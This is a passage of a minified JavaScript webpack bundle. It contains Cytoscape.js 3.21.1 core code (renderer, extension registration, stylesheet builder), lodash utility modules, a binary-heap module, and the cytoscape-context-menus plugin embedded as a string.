e(t,r){L.invalidateElements(r);B.invalidateElements(r);j.invalidateElements(r);R.invalidateElements(r);F.invalidateElements(r);for(var n=0;n<r.length;n++){var a=r[n]._private;a.oldBackgroundTimestamp=a.backgroundTimestamp}}));var V=function e(t){for(var r=0;r<t.length;r++){F.enqueueElementRefinement(t[r].ele)}};L.onDequeue(V);B.onDequeue(V);j.onDequeue(V);R.onDequeue(V)}tf.redrawHint=function(e,t){var r=this;switch(e){case"eles":r.data.canvasNeedsRedraw[tf.NODE]=t;break;case"drag":r.data.canvasNeedsRedraw[tf.DRAG]=t;break;case"select":r.data.canvasNeedsRedraw[tf.SELECT_BOX]=t;break}};var nf=typeof Path2D!=="undefined";tf.path2dEnabled=function(e){if(e===undefined){return this.pathsEnabled}this.pathsEnabled=e?true:false};tf.usePaths=function(){return nf&&this.pathsEnabled};tf.setImgSmoothing=function(e,t){if(e.imageSmoothingEnabled!=null){e.imageSmoothingEnabled=t}else{e.webkitImageSmoothingEnabled=t;e.mozImageSmoothingEnabled=t;e.msImageSmoothingEnabled=t}};tf.getImgSmoothing=function(e){if(e.imageSmoothingEnabled!=null){return e.imageSmoothingEnabled}else{return e.webkitImageSmoothingEnabled||e.mozImageSmoothingEnabled||e.msImageSmoothingEnabled}};tf.makeOffscreenCanvas=function(e,t){var r;if((typeof OffscreenCanvas==="undefined"?"undefined":l(OffscreenCanvas))!=="undefined"){r=new OffscreenCanvas(e,t)}else{r=document.createElement("canvas");r.width=e;r.height=t}return r};[bl,Cl,Nl,Al,Ll,jl,Fl,ql,Kl,Jl].forEach((function(e){ie(tf,e)}));var af=[{name:"null",impl:tu},{name:"base",impl:Tu},{name:"canvas",impl:ef}];var of=[{type:"layout",extensions:eu},{type:"renderer",extensions:af}];var sf={};var uf={};function lf(e,t,r){var n=r;var a=function r(n){qe("Can not register `"+t+"` for `"+e+"` since `"+n+"` already exists in the prototype and can not be overridden")};if(e==="core"){if(ds.prototype[t]){return a(t)}else{ds.prototype[t]=r}}else if(e==="collection"){if(Do.prototype[t]){return a(t)}else{Do.prototype[t]=r}}else if(e==="layout"){var i=function e(t){this.options=t;r.call(this,t);if(!P(this._private)){this._private={}}this._private.cy=t.cy;this._private.listeners=[];this.createEmitter()};var o=i.prototype=Object.create(r.prototype);var s=[];for(var u=0;u<s.length;u++){var l=s[u];o[l]=o[l]||function(){return this}}if(o.start&&!o.run){o.run=function(){this.start();return this}}else if(!o.start&&o.run){o.start=function(){this.run();return this}}var f=r.prototype.stop;o.stop=function(){var e=this.options;if(e&&e.animate){var t=this.animations;if(t){for(var r=0;r<t.length;r++){t[r].stop()}}}if(f){f.call(this)}else{this.emit("layoutstop")}return this};if(!o.destroy){o.destroy=function(){return this}}o.cy=function(){return this._private.cy};var c=function e(t){return t._private.cy};var v={addEventFields:function e(t,r){r.layout=t;r.cy=c(t);r.target=t},bubble:function e(){return true},parent:function e(t){return c(t)}};ie(o,{createEmitter:function e(){this._private.emitter=new Gi(v,this);return this},emitter:function e(){return this._private.emitter},on:function e(t,r){this.emitter().on(t,r);return this},one:function e(t,r){this.emitter().one(t,r);return this},once:function e(t,r){this.emitter().one(t,r);return this},removeListener:function e(t,r){this.emitter().removeListener(t,r);return this},removeAllListeners:function e(){this.emitter().removeAllListeners();return this},emit:function e(t,r){this.emitter().emit(t,r);return this}});la.eventAliasesOn(o);n=i}else if(e==="renderer"&&t!=="null"&&t!=="base"){var d=ff("renderer","base");var h=d.prototype;var p=r;var g=r.prototype;var y=function e(){d.apply(this,arguments);p.apply(this,arguments)};var m=y.prototype;for(var b in h){var x=h[b];var w=g[b]!=null;if(w){return a(b)}m[b]=x}for(var E in g){m[E]=g[E]}h.clientFunctions.forEach((function(e){m[e]=m[e]||function(){Fe("Renderer does not implement `renderer."+e+"()` on its prototype")}}));n=y}else if(e==="__proto__"||e==="constructor"||e==="prototype"){return Fe(e+" is an illegal type to be registered, possibly lead to prototype pollutions")}return ve({map:sf,keys:[e,t],value:n})}function ff(e,t){return de({map:sf,keys:[e,t]})}function cf(e,t,r,n,a){return ve({map:uf,keys:[e,t,r,n],value:a})}function vf(e,t,r,n){return de({map:uf,keys:[e,t,r,n]})}var df=function e(){if(arguments.length===2){return ff.apply(null,arguments)}else if(arguments.length===3){return lf.apply(null,arguments)}else if(arguments.length===4){return vf.apply(null,arguments)}else if(arguments.length===5){return cf.apply(null,arguments)}else{Fe("Invalid extension access syntax")}};ds.prototype.extension=df;of.forEach((function(e){e.extensions.forEach((function(t){lf(e.type,t.name,t.impl)}))}));var hf=function e(){if(!(this instanceof e)){return new e}this.length=0};var pf=hf.prototype;pf.instanceString=function(){return"stylesheet"};pf.selector=function(e){var t=this.length++;this[t]={selector:e,properties:[]};return this};pf.css=function(e,t){var r=this.length-1;if(C(e)){this[r].properties.push({name:e,value:t})}else if(P(e)){var n=e;var a=Object.keys(n);for(var i=0;i<a.length;i++){var o=a[i];var s=n[o];if(s==null){continue}var u=ss.properties[o]||ss.properties[H(o)];if(u==null){continue}var l=u.name;var f=s;this[r].properties.push({name:l,value:f})}}return this};pf.style=pf.css;pf.generateStyle=function(e){var t=new ss(e);return this.appendToStyle(t)};pf.appendToStyle=function(e){for(var t=0;t<this.length;t++){var r=this[t];var n=r.selector;var a=r.properties;e.selector(n);for(var i=0;i<a.length;i++){var o=a[i];e.css(o.name,o.value)}}return e};var gf="3.21.1";var yf=function e(t){if(t===undefined){t={}}if(P(t)){return new ds(t)}else if(C(t)){return df.apply(df,arguments)}};yf.use=function(e){var t=Array.prototype.slice.call(arguments,1);t.unshift(yf);e.apply(null,t);return this};yf.warnings=function(e){return Ve(e)};yf.version=gf;yf.stylesheet=yf.Stylesheet=hf;e.exports=yf},(e,t,r)=>{var n="Expected a function";var a=0/0;var i="[object Symbol]";var o=/^\s+|\s+$/g;var s=/^[-+]0x[0-9a-f]+$/i;var u=/^0b[01]+$/i;var l=/^0o[0-7]+$/i;var f=parseInt;var c=typeof r.g=="object"&&r.g&&r.g.Object===Object&&r.g;var v=typeof self=="object"&&self&&self.Object===Object&&self;var d=c||v||Function("return this")();var h=Object.prototype;var p=h.toString;var g=Math.max,y=Math.min;var m=function(){return d.Date.now()};function b(e,t,r){var a,i,o,s,u,l,f=0,c=false,v=false,d=true;if(typeof e!="function"){throw new TypeError(n)}t=_(t)||0;if(x(r)){c=!!r.leading;v="maxWait"in r;o=v?g(_(r.maxWait)||0,t):o;d="trailing"in r?!!r.trailing:d}function h(t){var r=a,n=i;a=i=undefined;f=t;s=e.apply(n,r);return s}function p(e){f=e;u=setTimeout(E,t);return c?h(e):s}function b(e){var r=e-l,n=e-f,a=t-r;return v?y(a,o-n):a}function w(e){var r=e-l,n=e-f;return l===undefined||r>=t||r<0||v&&n>=o}function E(){var e=m();if(w(e)){return k(e)}u=setTimeout(E,b(e))}function k(e){u=undefined;if(d&&a){return h(e)}a=i=undefined;return s}function S(){if(u!==undefined){clearTimeout(u)}f=0;a=l=i=u=undefined}function C(){return u===undefined?s:k(m())}function D(){var e=m(),r=w(e);a=arguments;i=this;l=e;if(r){if(u===undefined){return p(l)}if(v){u=setTimeout(E,t);return h(l)}}if(u===undefined){u=setTimeout(E,t)}return s}D.cancel=S;D.flush=C;return D}function x(e){var t=typeof e;return!!e&&(t=="object"||t=="function")}function w(e){return!!e&&typeof e=="object"}function E(e){return typeof e=="symbol"||w(e)&&p.call(e)==i}function _(e){if(typeof e=="number"){return e}if(E(e)){return a}if(x(e)){var t=typeof e.valueOf=="function"?e.valueOf():e;e=x(t)?t+"":t}if(typeof e!="string"){return e===0?e:+e}e=e.replace(o,"");var r=u.test(e);return r||l.test(e)?f(e.slice(2),r?2:8):s.test(e)?a:+e}e.exports=b},(e,t,r)=>{e.exports=r(139)},function(e,t){var r,n,a;(function(){var i,o,s,u,l,f,c,v,d,h,p,g,y,m,b;s=Math.floor,h=Math.min;o=function(e,t){if(e<t){return-1}if(e>t){return 1}return 0};d=function(e,t,r,n,a){var i;if(r==null){r=0}if(a==null){a=o}if(r<0){throw new Error("lo must be non-negative")}if(n==null){n=e.length}while(r<n){i=s((r+n)/2);if(a(t,e[i])<0){n=i}else{r=i+1}}return[].splice.apply(e,[r,r-r].concat(t)),t};f=function(e,t,r){if(r==null){r=o}e.push(t);return m(e,0,e.length-1,r)};l=function(e,t){var r,n;if(t==null){t=o}r=e.pop();if(e.length){n=e[0];e[0]=r;b(e,0,t)}else{n=r}return n};v=function(e,t,r){var n;if(r==null){r=o}n=e[0];e[0]=t;b(e,0,r);return n};c=function(e,t,r){var n;if(r==null){r=o}if(e.length&&r(e[0],t)<0){n=[e[0],t],t=n[0],e[0]=n[1];b(e,0,r)}return t};u=function(e,t){var r,n,a,i,u,l,f,c;if(t==null){t=o}l=function(){c=[];for(var t=0,r=s(e.length/2);0<=r?t<r:t>r;0<=r?t++:t--){c.push(t)}return c}.apply(this).reverse();f=[];for(n=0,i=l.length;n<i;n++){r=l[n];f.push(b(e,r,t))}return f};y=function(e,t,r){var n;if(r==null){r=o}n=e.indexOf(t);if(n===-1){return}m(e,0,n,r);return b(e,n,r)};p=function(e,t,r){var n,a,i,s,l;if(r==null){r=o}a=e.slice(0,t);if(!a.length){return a}u(a,r);l=e.slice(t);for(i=0,s=l.length;i<s;i++){n=l[i];c(a,n,r)}return a.sort(r).reverse()};g=function(e,t,r){var n,a,i,s,f,c,v,p,g,y;if(r==null){r=o}if(t*10<=e.length){s=e.slice(0,t).sort(r);if(!s.length){return s}i=s[s.length-1];p=e.slice(t);for(f=0,v=p.length;f<v;f++){n=p[f];if(r(n,i)<0){d(s,n,0,null,r);s.pop();i=s[s.length-1]}}return s}u(e,r);y=[];for(a=c=0,g=h(t,e.length);0<=g?c<g:c>g;a=0<=g?++c:--c){y.push(l(e,r))}return y};m=function(e,t,r,n){var a,i,s;if(n==null){n=o}a=e[r];while(r>t){s=r-1>>1;i=e[s];if(n(a,i)<0){e[r]=i;r=s;continue}break}return e[r]=a};b=function(e,t,r){var n,a,i,s,u;if(r==null){r=o}a=e.length;u=t;i=e[t];n=2*t+1;while(n<a){s=n+1;if(s<a&&!(r(e[n],e[s])<0)){n=s}e[t]=e[n];t=n;n=2*t+1}e[t]=i;return m(e,u,t,r)};i=function(){e.push=f;e.pop=l;e.replace=v;e.pushpop=c;e.heapify=u;e.updateItem=y;e.nlargest=p;e.nsmallest=g;function e(e){this.cmp=e!=null?e:o;this.nodes=[]}e.prototype.push=function(e){return f(this.nodes,e,this.cmp)};e.prototype.pop=function(){return l(this.nodes,this.cmp)};e.prototype.peek=function(){return this.nodes[0]};e.prototype.contains=function(e){return this.nodes.indexOf(e)!==-1};e.prototype.replace=function(e){return v(this.nodes,e,this.cmp)};e.prototype.pushpop=function(e){return c(this.nodes,e,this.cmp)};e.prototype.heapify=function(){return u(this.nodes,this.cmp)};e.prototype.updateItem=function(e){return y(this.nodes,e,this.cmp)};e.prototype.clear=function(){return this.nodes=[]};e.prototype.empty=function(){return this.nodes.length===0};e.prototype.size=function(){return this.nodes.length};e.prototype.clone=function(){var t;t=new e;t.nodes=this.nodes.slice(0);return t};e.prototype.toArray=function(){return this.nodes.slice(0)};e.prototype.insert=e.prototype.push;e.prototype.top=e.prototype.peek;e.prototype.front=e.prototype.peek;e.prototype.has=e.prototype.contains;e.prototype.copy=e.prototype.clone;return e}();(function(i,o){if(true){return!(n=[],r=o,a=typeof r==="function"?r.apply(t,n):r,a!==undefined&&(e.exports=a))}else{}})(this,(function(){return i}))}).call(this)},(e,t,r)=>{var n="Expected a function";var a="__lodash_hash_undefined__";var i=1/0;var o="[object Function]",s="[object GeneratorFunction]",u="[object Symbol]";var l=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,f=/^\w*$/,c=/^\./,v=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g;var d=/[\\^$.*+?()[\]{}|]/g;var h=/\\(\\)?/g;var p=/^\[object .+?Constructor\]$/;var g=typeof r.g=="object"&&r.g&&r.g.Object===Object&&r.g;var y=typeof self=="object"&&self&&self.Object===Object&&self;var m=g||y||Function("return this")();function b(e,t){return e==null?undefined:e[t]}function x(e){var t=false;if(e!=null&&typeof e.toString!="function"){try{t=!!(e+"")}catch(e){}}return t}var w=Array.prototype,E=Function.prototype,_=Object.prototype;var k=m["__core-js_shared__"];var S=function(){var e=/[^.]+$/.exec(k&&k.keys&&k.keys.IE_PROTO||"");return e?"Symbol(src)_1."+e:""}();var C=E.toString;var D=_.hasOwnProperty;var T=_.toString;var P=RegExp("^"+C.call(D).replace(d,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");var M=m.Symbol,I=w.splice;var O=oe(m,"Map"),N=oe(Object,"create");var z=M?M.prototype:undefined,A=z?z.toString:undefined;function L(e){var t=-1,r=e?e.length:0;this.clear();while(++t<r){var n=e[t];this.set(n[0],n[1])}}function B(){this.__data__=N?N(null):{}}function j(e){return this.has(e)&&delete this.__data__[e]}function R(e){var t=this.__data__;if(N){var r=t[e];return r===a?undefined:r}return D.call(t,e)?t[e]:undefined}function F(e){var t=this.__data__;return N?t[e]!==undefined:D.call(t,e)}function V(e,t){var r=this.__data__;r[e]=N&&t===undefined?a:t;return this}L.prototype.clear=B;L.prototype["delete"]=j;L.prototype.get=R;L.prototype.has=F;L.prototype.set=V;function q(e){var t=-1,r=e?e.length:0;this.clear();while(++t<r){var n=e[t];this.set(n[0],n[1])}}function G(){this.__data__=[]}function Y(e){var t=this.__data__,r=ee(t,e);if(r<0){return false}var n=t.length-1;if(r==n){t.pop()}else{I.call(t,r,1)}return true}function X(e){var t=this.__data__,r=ee(t,e);return r<0?undefined:t[r][1]}function W(e){return ee(this.__data__,e)>-1}function H(e,t){var r=this.__data__,n=ee(r,e);if(n<0){r.push([e,t])}else{r[n][1]=t}return this}q.prototype.clear=G;q.prototype["delete"]=Y;q.prototype.get=X;q.prototype.has=W;q.prototype.set=H;function U(e){var t=-1,r=e?e.length:0;this.clear();while(++t<r){var n=e[t];this.set(n[0],n[1])}}function K(){this.__data__={hash:new L,map:new(O||q),string:new L}}function $(e){return ie(this,e)["delete"](e)}function Z(e){return ie(this,e).get(e)}function Q(e){return ie(this,e).has(e)}function J(e,t){ie(this,e).set(e,t);return this}U.prototype.clear=K;U.prototype["delete"]=$;U.prototype.get=Z;U.prototype.has=Q;U.prototype.set=J;function ee(e,t){var r=e.length;while(r--){if(he(e[r][0],t)){return r}}return-1}function te(e,t){t=se(t,e)?[t]:ae(t);var r=0,n=t.length;while(e!=null&&r<n){e=e[ce(t[r++])]}return r&&r==n?e:undefined}function re(e){if(!ye(e)||le(e)){return false}var t=ge(e)||x(e)?P:p;return t.test(ve(e))}function ne(e){if(typeof e=="string"){return e}if(be(e)){return A?A.call(e):""}var t=e+"";return t=="0"&&1/e==-i?"-0":t}function ae(e){return pe(e)?e:fe(e)}function ie(e,t){var r=e.__data__;return ue(t)?r[typeof t=="string"?"string":"hash"]:r.map}function oe(e,t){var r=b(e,t);return re(r)?r:undefined}function se(e,t){if(pe(e)){return false}var r=typeof e;if(r=="number"||r=="symbol"||r=="boolean"||e==null||be(e)){return true}return f.test(e)||!l.test(e)||t!=null&&e in Object(t)}function ue(e){var t=typeof e;return t=="string"||t=="number"||t=="symbol"||t=="boolean"?e!=="__proto__":e===null}function le(e){return!!S&&S in e}var fe=de((function(e){e=xe(e);var t=[];if(c.test(e)){t.push("")}e.replace(v,(function(e,r,n,a){t.push(n?a.replace(h,"$1"):r||e)}));return t}));function ce(e){if(typeof e=="string"||be(e)){return e}var t=e+"";return t=="0"&&1/e==-i?"-0":t}function ve(e){if(e!=null){try{return C.call(e)}catch(e){}try{return e+""}catch(e){}}return""}function de(e,t){if(typeof e!="function"||t&&typeof t!="function"){throw new TypeError(n)}var r=function(){var n=arguments,a=t?t.apply(this,n):n[0],i=r.cache;if(i.has(a)){return i.get(a)}var o=e.apply(this,n);r.cache=i.set(a,o);return o};r.cache=new(de.Cache||U);return r}de.Cache=U;function he(e,t){return e===t||e!==e&&t!==t}var pe=Array.isArray;function ge(e){var t=ye(e)?T.call(e):"";return t==o||t==s}function ye(e){var t=typeof e;return!!e&&(t=="object"||t=="function")}function me(e){return!!e&&typeof e=="object"}function be(e){return typeof e=="symbol"||me(e)&&T.call(e)==u}function xe(e){return e==null?"":ne(e)}function we(e,t,r){var n=e==null?undefined:te(e,t);return n===undefined?r:n}e.exports=we},(e,t,r)=>{var n="Expected a function";var a="__lodash_hash_undefined__";var i=1/0,o=9007199254740991;var s="[object Function]",u="[object GeneratorFunction]",l="[object Symbol]";var f=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,c=/^\w*$/,v=/^\./,d=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g;var h=/[\\^$.*+?()[\]{}|]/g;var p=/\\(\\)?/g;var g=/^\[object .+?Constructor\]$/;var y=/^(?:0|[1-9]\d*)$/;var m=typeof r.g=="object"&&r.g&&r.g.Object===Object&&r.g;var b=typeof self=="object"&&self&&self.Object===Object&&self;var x=m||b||Function("return this")();function w(e,t){return e==null?undefined:e[t]}function E(e){var t=false;if(e!=null&&typeof e.toString!="function"){try{t=!!(e+"")}catch(e){}}return t}var _=Array.prototype,k=Function.prototype,S=Object.prototype;var C=x["__core-js_shared__"];var D=function(){var e=/[^.]+$/.exec(C&&C.keys&&C.keys.IE_PROTO||"");return e?"Symbol(src)_1."+e:""}();var T=k.toString;var P=S.hasOwnProperty;var M=S.toString;var I=RegExp("^"+T.call(P).replace(h,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");var O=x.Symbol,N=_.splice;var z=le(x,"Map"),A=le(Object,"create");var L=O?O.prototype:undefined,B=L?L.toString:undefined;function j(e){var t=-1,r=e?e.length:0;this.clear();while(++t<r){var n=e[t];this.set(n[0],n[1])}}function R(){this.__data__=A?A(null):{}}function F(e){return this.has(e)&&delete this.__data__[e]}function V(e){var t=this.__data__;if(A){var r=t[e];return r===a?undefined:r}return P.call(t,e)?t[e]:undefined}function q(e){var t=this.__data__;return A?t[e]!==undefined:P.call(t,e)}function G(e,t){var r=this.__data__;r[e]=A&&t===undefined?a:t;return this}j.prototype.clear=R;j.prototype["delete"]=F;j.prototype.get=V;j.prototype.has=q;j.prototype.set=G;function Y(e){var t=-1,r=e?e.length:0;this.clear();while(++t<r){var n=e[t];this.set(n[0],n[1])}}function X(){this.__data__=[]}function W(e){var t=this.__data__,r=ne(t,e);if(r<0){return false}var n=t.length-1;if(r==n){t.pop()}else{N.call(t,r,1)}return true}function H(e){var t=this.__data__,r=ne(t,e);return r<0?undefined:t[r][1]}function U(e){return ne(this.__data__,e)>-1}function K(e,t){var r=this.__data__,n=ne(r,e);if(n<0){r.push([e,t])}else{r[n][1]=t}return this}Y.prototype.clear=X;Y.prototype["delete"]=W;Y.prototype.get=H;Y.prototype.has=U;Y.prototype.set=K;function $(e){var t=-1,r=e?e.length:0;this.clear();while(++t<r){var n=e[t];this.set(n[0],n[1])}}function Z(){this.__data__={hash:new j,map:new(z||Y),string:new j}}function Q(e){return ue(this,e)["delete"](e)}function J(e){return ue(this,e).get(e)}function ee(e){return ue(this,e).has(e)}function te(e,t){ue(this,e).set(e,t);return this}$.prototype.clear=Z;$.prototype["delete"]=Q;$.prototype.get=J;$.prototype.has=ee;$.prototype.set=te;function re(e,t,r){var n=e[t];if(!(P.call(e,t)&&me(n,r))||r===undefined&&!(t in e)){e[t]=r}}function ne(e,t){var r=e.length;while(r--){if(me(e[r][0],t)){return r}}return-1}function ae(e){if(!we(e)||de(e)){return false}var t=xe(e)||E(e)?I:g;return t.test(ge(e))}function ie(e,t,r,n){if(!we(e)){return e}t=ce(t,e)?[t]:se(t);var a=-1,i=t.length,o=i-1,s=e;while(s!=null&&++a<i){var u=pe(t[a]),l=r;if(a!=o){var f=s[u];l=n?n(f,u,s):undefined;if(l===undefined){l=we(f)?f:fe(t[a+1])?[]:{}}}re(s,u,l);s=s[u]}return e}function oe(e){if(typeof e=="string"){return e}if(_e(e)){return B?B.call(e):""}var t=e+"";return t=="0"&&1/e==-i?"-0":t}function se(e){return be(e)?e:he(e)}function ue(e,t){var r=e.__data__;return ve(t)?r[typeof t=="string"?"string":"hash"]:r.map}function le(e,t){var r=w(e,t);return ae(r)?r:undefined}function fe(e,t){t=t==null?o:t;return!!t&&(typeof e=="number"||y.test(e))&&(e>-1&&e%1==0&&e<t)}function ce(e,t){if(be(e)){return false}var r=typeof e;if(r=="number"||r=="symbol"||r=="boolean"||e==null||_e(e)){return true}return c.test(e)||!f.test(e)||t!=null&&e in Object(t)}function ve(e){var t=typeof e;return t=="string"||t=="number"||t=="symbol"||t=="boolean"?e!=="__proto__":e===null}function de(e){return!!D&&D in e}var he=ye((function(e){e=ke(e);var t=[];if(v.test(e)){t.push("")}e.replace(d,(function(e,r,n,a){t.push(n?a.replace(p,"$1"):r||e)}));return t}));function pe(e){if(typeof e=="string"||_e(e)){return e}var t=e+"";return t=="0"&&1/e==-i?"-0":t}function ge(e){if(e!=null){try{return T.call(e)}catch(e){}try{return e+""}catch(e){}}return""}function ye(e,t){if(typeof e!="function"||t&&typeof t!="function"){throw new TypeError(n)}var r=function(){var n=arguments,a=t?t.apply(this,n):n[0],i=r.cache;if(i.has(a)){return i.get(a)}var o=e.apply(this,n);r.cache=i.set(a,o);return o};r.cache=new(ye.Cache||$);return r}ye.Cache=$;function me(e,t){return e===t||e!==e&&t!==t}var be=Array.isArray;function xe(e){var t=we(e)?M.call(e):"";return t==s||t==u}function we(e){var t=typeof e;return!!e&&(t=="object"||t=="function")}function Ee(e){return!!e&&typeof e=="object"}function _e(e){return typeof e=="symbol"||Ee(e)&&M.call(e)==l}function ke(e){return e==null?"":oe(e)}function Se(e,t,r){return e==null?e:ie(e,t,r)}e.exports=Se},(e,t,r)=>{var n="Expected a function";var a="__lodash_hash_undefined__";var i=1/0;var o="[object Function]",s="[object GeneratorFunction]",u="[object Symbol]";var l=/^\./,f=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g;var c=/[\\^$.*+?()[\]{}|]/g;var v=/\\(\\)?/g;var d=/^\[object .+?Constructor\]$/;var h=typeof r.g=="object"&&r.g&&r.g.Object===Object&&r.g;var p=typeof self=="object"&&self&&self.Object===Object&&self;var g=h||p||Function("return this")();function y(e,t){var r=-1,n=e?e.length:0,a=Array(n);while(++r<n){a[r]=t(e[r],r,e)}return a}function m(e,t){return e==null?undefined:e[t]}function b(e){var t=false;if(e!=null&&typeof e.toString!="function"){try{t=!!(e+"")}catch(e){}}return t}var x=Array.prototype,w=Function.prototype,E=Object.prototype;var _=g["__core-js_shared__"];var k=function(){var e=/[^.]+$/.exec(_&&_.keys&&_.keys.IE_PROTO||"");return e?"Symbol(src)_1."+e:""}();var S=w.toString;var C=E.hasOwnProperty;var D=E.toString;var T=RegExp("^"+S.call(C).replace(c,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");var P=g.Symbol,M=x.splice;var I=ae(g,"Map"),O=ae(Object,"create");var N=P?P.prototype:undefined,z=N?N.toString:undefined;function A(e){var t=-1,r=e?e.length:0;this.clear();while(++t<r){var n=e[t];this.set(n[0],n[1])}}function L(){this.__data__=O?O(null):{}}function B(e){return this.has(e)&&delete this.__data__[e]}function j(e){var t=this.__data__;if(O){var r=t[e];return r===a?undefined:r}return C.call(t,e)?t[e]:undefined}function R(e){var t=this.__data__;return O?t[e]!==undefined:C.call(t,e)}function F(e,t){var r=this.__data__;r[e]=O&&t===undefined?a:t;return this}A.prototype.clear=L;A.prototype["delete"]=B;A.prototype.get=j;A.prototype.has=R;A.prototype.set=F;function V(e){var t=-1,r=e?e.length:0;this.clear();while(++t<r){var n=e[t];this.set(n[0],n[1])}}function q(){this.__data__=[]}function G(e){var t=this.__data__,r=J(t,e);if(r<0){return false}var n=t.length-1;if(r==n){t.pop()}else{M.call(t,r,1)}return true}function Y(e){var t=this.__data__,r=J(t,e);return r<0?undefined:t[r][1]}function X(e){return J(this.__data__,e)>-1}function W(e,t){var r=this.__data__,n=J(r,e);if(n<0){r.push([e,t])}else{r[n][1]=t}return this}V.prototype.clear=q;V.prototype["delete"]=G;V.prototype.get=Y;V.prototype.has=X;V.prototype.set=W;function H(e){var t=-1,r=e?e.length:0;this.clear();while(++t<r){var n=e[t];this.set(n[0],n[1])}}function U(){this.__data__={hash:new A,map:new(I||V),string:new A}}function K(e){return ne(this,e)["delete"](e)}function $(e){return ne(this,e).get(e)}function Z(e){return ne(this,e).has(e)}function Q(e,t){ne(this,e).set(e,t);return this}H.prototype.clear=U;H.prototype["delete"]=K;H.prototype.get=$;H.prototype.has=Z;H.prototype.set=Q;function J(e,t){var r=e.length;while(r--){if(ce(e[r][0],t)){return r}}return-1}function ee(e){if(!he(e)||oe(e)){return false}var t=de(e)||b(e)?T:d;return t.test(le(e))}function te(e){if(typeof e=="string"){return e}if(ge(e)){return z?z.call(e):""}var t=e+"";return t=="0"&&1/e==-i?"-0":t}function re(e,t){var r=-1,n=e.length;t||(t=Array(n));while(++r<n){t[r]=e[r]}return t}function ne(e,t){var r=e.__data__;return ie(t)?r[typeof t=="string"?"string":"hash"]:r.map}function ae(e,t){var r=m(e,t);return ee(r)?r:undefined}function ie(e){var t=typeof e;return t=="string"||t=="number"||t=="symbol"||t=="boolean"?e!=="__proto__":e===null}function oe(e){return!!k&&k in e}var se=fe((function(e){e=ye(e);var t=[];if(l.test(e)){t.push("")}e.replace(f,(function(e,r,n,a){t.push(n?a.replace(v,"$1"):r||e)}));return t}));function ue(e){if(typeof e=="string"||ge(e)){return e}var t=e+"";return t=="0"&&1/e==-i?"-0":t}function le(e){if(e!=null){try{return S.call(e)}catch(e){}try{return e+""}catch(e){}}return""}function fe(e,t){if(typeof e!="function"||t&&typeof t!="function"){throw new TypeError(n)}var r=function(){var n=arguments,a=t?t.apply(this,n):n[0],i=r.cache;if(i.has(a)){return i.get(a)}var o=e.apply(this,n);r.cache=i.set(a,o);return o};r.cache=new(fe.Cache||H);return r}fe.Cache=H;function ce(e,t){return e===t||e!==e&&t!==t}var ve=Array.isArray;function de(e){var t=he(e)?D.call(e):"";return t==o||t==s}function he(e){var t=typeof e;return!!e&&(t=="object"||t=="function")}function pe(e){return!!e&&typeof e=="object"}function ge(e){return typeof e=="symbol"||pe(e)&&D.call(e)==u}function ye(e){return e==null?"":te(e)}function me(e){if(ve(e)){return y(e,ue)}return ge(e)?[e]:re(se(e))}e.exports=me},(e,t,r)=>{r(41)(r(144))},e=>{e.exports='!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.cytoscapeContextMenus=t():e.cytoscapeContextMenus=t()}(self,(function(){return(()=>{var e={621:(e,t,n)=>{"use strict";function i(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,i=new Array(t);n<t;n++)i[n]=e[n];return i}function o(e){for(var t="",n=0;n<e.length;n++)t+=e[n],n!==e.length-1&&(t+=" ");return t}function r(e,t,n){n?e.setAttribute(t,""):e.removeAttribute(t)}function u(e,t,n){void 0===customElements.get(e)&&customElements.define(e,t,{extends:n})}n.r(t),n.d(t,{contextMenus:()=>O});var s="cy-context-menus-divider",a={evtType:"cxttap",menuItems:[],menuItemClasses:["cy-context-menus-cxt-menuitem"],contextMenuClasses:["cy-context-menus-cxt-menu"],submenuIndicator:{src:"assets/submenu-indicator-default.svg",width:12,height:12}};function c(e){return(c="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function l(e,t){var n;if("undefined"==typeof Symbol||null==e[Symbol.iterator]){if(Array.isArray(e)||(n=function(e,t){if(e){if("string"==typeof e)return f(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?f(e,t):void 0}}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var i=0,o=function(){};return{s:o,n:function(){return i>=e.length?{done:!0}:{done:!1,value:e[i++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var r,u=!0,s=!1;return{s:function(){n=e[Symbol.iterator]()},n:function(){var e=n.next();return u=e.done,e},e:function(e){s=!0,r=e},f:function(){try{u||null==n.return||n.return()}finally{if(s)throw r}}}}function f(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,i=new Array(t);n<t;n++)i[n]=e[n];return i}function d(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function h(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}function m(e,t,n){return t&&h(e.prototype,t),n&&h(e,n),e}function v(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super 